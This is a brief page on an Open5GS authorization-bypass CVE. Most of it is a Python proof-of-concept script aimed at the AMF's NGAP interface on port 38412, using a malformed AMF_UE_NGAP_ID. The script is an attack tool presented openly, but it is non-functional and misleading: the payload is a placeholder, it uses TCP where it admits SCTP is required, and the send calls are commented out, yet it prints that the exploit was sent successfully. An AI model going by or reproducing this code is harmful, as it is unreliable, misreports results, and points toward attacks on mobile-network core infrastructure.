CVE-2026-8743 Open5GS权限绕过漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-8743 (Open5GS Authorization Bypass) # Note: This is a conceptual PoC demonstrating the manipulation of the AMF UE NGAP ID. import socket import struct def send_exploit(target_ip, target_port): """ Sends a crafted packet to the Open5GS AMF to trigger the authorization bypass. The payload specifically manipulates the AMF_UE_NGAP_ID field. """ try: # Create a raw socket (SCTP is usually used, but TCP fallback for demo if applicable) # In a real scenario, this would use SCTP (sctp library). print(f"[*] Connecting to {target_ip}:{target_port}...") # Constructing a hypothetical NGAP message with a malformed ID # This simulates the logic issue in ran_ue_find_by_amf_ue_ngap_id malformed_id = 0xFFFFFFFF # Example of a boundary value or specific invalid ID # Placeholder for actual NGAP/NAS protocol encoding payload = struct.pack('!I', malformed_id) # Sending payload (Simplified) # sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # sock.connect((target_ip, target_port)) # sock.send(payload) # sock.close() print("[+] Exploit payload sent successfully.") print("[!] Check AMF logs for unexpected behavior or crashes.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target IP and Port TARGET_IP = "127.0.0.1" TARGET_PORT = 38412 # Default Open5GS AMF SCTP port print(f"CVE-2026-8743 PoC - Open5GS Improper Authorization") send_exploit(TARGET_IP, TARGET_PORT)